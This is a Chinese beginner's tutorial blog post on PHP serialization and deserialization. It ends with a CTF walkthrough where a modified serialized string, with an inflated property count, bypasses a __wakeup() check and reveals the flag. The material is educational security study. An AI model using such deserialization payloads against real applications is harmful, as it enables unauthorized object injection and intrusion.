零基础入门——从零开始学习PHP反序列化笔记(一)
靶场环境搭建
方法一:PHPstudy搭建
GitHub地址
https://github.com/mcc0624/php_ser_Class
方法二:Docker部署
pull镜像文件
docker pull mcc0624/ser:1.8
启动容器
docker run -p 8000:80 -d mcc0624/ser:1.8
面向对象和面向过程
假设吃一份西红柿炒蛋是最终目的
面向过程
自己买好菜 切菜 洗菜 下锅 翻炒 出锅 再吃
面向对象
下楼去菜馆点西红柿炒蛋吃
类
类的定义
类定义了一件事物的抽血特点,它将数据的形式以及这些数据上的操作封装在一起
对象是具有类类型的变量,是对类的实例
内部构成:成员变量(属性)+成员函数(方法)

简单来说 水果是类 苹果、西瓜是对象
类的结构

类的内容

运行后无回显结果

实例化和赋值

代码实例
<?php
class hero{
var $name;
var $sex;
var $high;
var $weight;
function jineng($var1){
echo $this->name;
echo '释放了技能'.$var1;
}
function jisha($var2){
echo $this->name;
echo '击杀了'.$var2;
}
}
$libai=new hero();
$libai->name='李白';
$libai->sex='男';
$libai->high='185cm';
$libai->weight='70kg';
print_r($libai);
$libai->jineng('青莲剑歌');
$libai->jisha('韩信')
?>
运行结果

类的修饰符介绍



代码实例

<?php
class hero{
public $name;
private $sex;
protected $high;
public $weight;
function jineng($var1){
echo $this->name;
echo '释放了技能'.$var1;
}
function jisha($var2){
echo $this->name;
echo '击杀了'.$var2;
}
}
$libai=new hero();
echo $libai->name='李白';
echo $libai->weight='70kg';
echo $libai->sex='男';
echo $libai->high='185cm';
echo $libai->weight='70000000000kg';
?>

子类

<?php
class hero{
public $name='李白';
protected $high='185cm';
private $sex='男';
public $weight='70kg';
function jineng($var1){
echo $this->name;
echo '释放了技能'.$var1;
}
function jisha($var2){
echo $this->name;
echo '击杀了'.$var2;
}
}
class hero2 extends hero{
function test(){
echo $this->name;
echo $this->sex;
echo $this->high;
echo $this->weight;
}
}
$libai2=new hero2();
echo $libai2->test();
?>

类的成员方法

序列化
序列化的作用

表达方式

<?php
$a=null;
echo serialize($a);
?>

数组

<?php
$a=array('aaa','bbbb','ccccc');
echo $a[1];
echo serialize($a);
?>

对象
public

<?php
class test{
public $test='aaa';
public function bbb(){
echo $this->test;
}
}
$a=new test();
echo serialize($a);
?>

相当于输出的是
$test='aaa'
这一块内容
private

<?php
class aaa{
private $bbb='ccc';
public function ddd(){
echo $this->test;
}
}
$a=new aaa();
echo serialize($a);
?>

<?php
class aaa{
private $bbb='ccc';
public function ddd(){
echo $this->test;
}
}
$a=new aaa();
echo urlencode(serialize($a));
?>

protected

<?php
class aaa{
protected $bbb='ccc';
public function ddd(){
echo $this->test;
}
}
$a=new aaa();
echo serialize($a);
?>

<?php
class aaa{
protected $bbb='ccc';
public function ddd(){
echo $this->test;
}
}
$a=new aaa();
echo urlencode(serialize($a));
?>

调用对象

<?php
class aaa{
public $bbb='ccc';
public function ddd(){
echo $this->bbb;
}
}
class aaa2{
var $eee;
}
$a=new aaa2();
$b=new aaa();
$a->eee=$b;
echo serialize($a);
?>

aaa2含有一个名为eee的变量 值是aaa aaa是一个名为bbb的变量 值为ccc
反序列化
反序列化的特性

代码演示
反序列化之后内容为对象

<?php
class test{
public $aaa='bbb';
protected $bbb='666';
public $ccc=false;
public function ddd(){
echo $this->aaa;
}
}
$eee=new test();
$eee=serialize($eee);
$fff=unserialize($eee);
var_dump($fff);
?>

反序列化生成对象值与类预定义中的无关

先构造一个序列化之后的值给$fff
<?php
class test{
public $aaa='bbb';
protected $bbb='666';
public $ccc=false;
public function ddd(){
echo $this->aaa;
}
}
$eee=new test();
$eee=urlencode(serialize($eee));
$fff=urldecode($eee);
echo $fff;
?>

然后对$fff的值进行修改 验证反序列化后是否与原有类预定义的值有关
<?php
class test{
public $aaa='bbb';
public $bbb='666';
public $ccc=false;
public function ddd(){
echo $this->aaa;
}
}
$eee=new test();
$eee=serialize($eee);
$fff='O:4:"test":3:{s:3:"aaa";s:9:"different";s:3:"bbb";s:3:"666";s:3:"ccc";b:0;}';
$ggg=unserialize($fff);
var_dump($ggg);
?>

可以看到 对aaa的值进行修改时 反序列化之后也进行了改变 而不是test类中aaa的预定值bbb
反序列化需要调用方法后触发成员方法

<?php
class test{
public $aaa='bbb';
public $bbb='666';
public $ccc=false;
public function ddd(){
echo $this->aaa;
}
}
$eee=new test();
$eee=serialize($eee);
$ggg=unserialize($eee);
$ggg->ddd();
?>

调用了test类中的ddd方法 所以输出了类中的$aaa的变量值 即bbb
反序列化漏洞
漏洞成因

反序列化不改变类的成员方法 需要调用方法后才能触发;
通过调用方法,触发代码才行
实例演示

攻防世界例题
unserialize3
进入场景

class xctf{ //定义一个名为xctf的类
public $flag = '111'; //定义一个公有的类属性$flag,值为111
public function __wakeup(){ //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本
exit('bad requests');
}
?code=
代码审计:
代码中的__wakeup()方法如果使用就是和unserialize()反序列化函数结合使用的 于是 这里实例化xctf类并对其使用序列化(这里就实例化xctf类为对象peak)
<?php
class xctf{ //定义一个名为xctf的类
public $flag = '111'; //定义一个公有的类属性$flag,值为111
public function __wakeup(){ //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本
exit('bad requests');
}
}
$peak = new xctf(); //使用new运算符来实例化该类(xctf)的对象为peak
echo(serialize($peak)); //输出被序列化的对象(peak)
?>
运行结果

O:4:"xctf":1:{s:4:"flag";s:3:"111";}
序列化字符串各部分简单释义:
O代表结构类型为:类:4表示类名长度:接着是类名:属性(成员)个数
大括号内分别是:属性名类型;长度:名称:值类型:长度:值
要反序列化xctf类的同时还要绕过wakeup方法的执行(如果不绕过wakeup()方法,那么将会输出bad requests并退出脚本)
wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过wakeup的执行。因此,需要修改序列化字符串中的属性个数
修改payload
O:4:"xctf":5:{s:4:"flag";s:3:"111";}

flag出现
cyberpeace{623ccbc0b884ccd53291b4b9de67f23d}
零基础入门——从零开始学习PHP反序列化笔记(一)的更多相关文章
- C#区块链零基础入门,学习路线图 转
C#区块链零基础入门,学习路线图 一.1分钟短视频<区块链100问>了解区块链基本概念 http://tech.sina.com.cn/zt_d/blockchain_100/ 二.C#区 ...
- (转)零基础入门深度学习(6) - 长短时记忆网络(LSTM)
无论即将到来的是大数据时代还是人工智能时代,亦或是传统行业使用人工智能在云上处理大数据的时代,作为一个有理想有追求的程序员,不懂深度学习(Deep Learning)这个超热的技术,会不会感觉马上就o ...
- 零基础入门深度学习(6) - 长短时记忆网络(LSTM)
代码: def forward(self, x): ''' 根据式1-式6进行前向计算 ''' self.times += 1 # 遗忘门 fg = self.calc_gate(x, self.Wf ...
- 学习参考《零基础入门学习Python》电子书PDF+笔记+课后题及答案
国内编写的关于python入门的书,初学者可以看看. 参考: <零基础入门学习Python>电子书PDF+笔记+课后题及答案 Python3入门必备; 小甲鱼手把手教授Python; 包含 ...
- 学习《零基础入门学习Python》电子书PDF+笔记+课后题及答案
初学python入门建议学习<零基础入门学习Python>.适合新手入门,很简单很易懂.前一半将语法,后一半讲了实际的应用. Python3入门必备,小甲鱼手把手教授Python,包含电子 ...
- Linux及Arm-Linux程序开发笔记(零基础入门篇)
Linux及Arm-Linux程序开发笔记(零基础入门篇) 作者:一点一滴的Beer http://beer.cnblogs.com/ 本文地址:http://www.cnblogs.com/bee ...
- 【Linux开发】Linux及Arm-Linux程序开发笔记(零基础入门篇)
Linux及Arm-Linux程序开发笔记(零基础入门篇) 作者:一点一滴的Beer http://beer.cnblogs.com/ 本文地址:http://www.cnblogs.com/beer ...
- 函数:我的地盘听我的 - 零基础入门学习Python019
函数:我的地盘听我的 让编程改变世界 Change the world by program 函数与过程 在小甲鱼另一个实践性超强的编程视频教学<零基础入门学习Delphi>中,我们谈到了 ...
- 【Python教程】《零基础入门学习Python》(小甲鱼)
[Python教程]<零基础入门学习Python>(小甲鱼) 讲解通俗易懂,诙谐. 哈哈哈. https://www.bilibili.com/video/av27789609
- 《零基础入门学习Python》【第一版】视频课后答案第001讲
测试题答案: 0. Python 是什么类型的语言? Python是脚本语言 脚本语言(Scripting language)是电脑编程语言,因此也能让开发者藉以编写出让电脑听命行事的程序.以简单的方 ...
随机推荐
- Centos7.x 安装 newman + postman
一.基础环境 输入 npm -v (查看 npm 版本) 输入 node -v(查看 node 版本) 二.安装newman 1.执行 npm install –g newman 进行安装 2.验证安 ...
- Xcode编译流程
Xcode的构建过程本质上是执行一系列构建任务.如:代码检测,编译代码,链接目标文件,拷贝资源(图片, plist, nib)文件,代码签名等.大部分任务是执行命令行工具,如(clang编译. l ...
- JSP 的本质原理解析:"编写的时候是JSP,心里想解读的是 java 源码"
JSP 的本质原理解析:"编写的时候是JSP,心里想解读的是 java 源码" @ 目录 JSP 的本质原理解析:"编写的时候是JSP,心里想解读的是 java 源码&q ...
- \n 和 std::endl 的区别
std::cout << std::endl; 等价于 std::cout << '\n' << std::flush; 除了写入换行符,std::endl 还会刷 ...
- FreeSWITCH对接vosk实现实时语音识别
环境:CentOS 7.6_x64 FreeSWITCH版本 :1.10.9 Python版本:3.9.2 一.背景描述 vosk是一个开源语音识别工具,可识别中文,之前介绍过python使用vosk ...
- 2021-03-19:给定一个二维数组matrix,其中的值不是0就是1,返回全部由1组成的最大子矩形,内部有多少个1。
2021-03-19:给定一个二维数组matrix,其中的值不是0就是1,返回全部由1组成的最大子矩形,内部有多少个1. 福大大 答案2021-03-19: 按行遍历二维数组,构造直方图. 单调栈,大 ...
- Grafana系列-统一展示-8-ElasticSearch日志快速搜索仪表板
系列文章 Grafana 系列文章 概述 我们是基于这篇文章: Grafana 系列文章(十二):如何使用 Loki 创建一个用于搜索日志的 Grafana 仪表板, 创建一个类似的, 但是基于 El ...
- Django4全栈进阶之路14 项目实战(用户管理):base.html基础模板设计
在 Django 中,我们可以使用模板继承来避免代码的重复.模板继承是指我们可以在一个模板中定义一些公共的 HTML 代码,然后在其他模板中继承这个基础模板,并根据需要添加或覆盖一些内容. 通常情况下 ...
- wmi搜集一台计算机的硬件信息
作用: Python搜集一台计算机的硬件信息,借助模块:wmi,这个模块只支持window操作系统. 安装: pip install wmi 导入: import wmi 实例 c = wmi.WMI ...
- htop 和 bashtop 的一些不足
htop 和 bashtop 都是 Linux 资源监视器中非常好用的工具,尤其对于展示当前 Linux 操作系统的处理器.内存.硬盘.网络和进程等各项资源的使用情况与状态.但它们都有一个问题,就是当 ...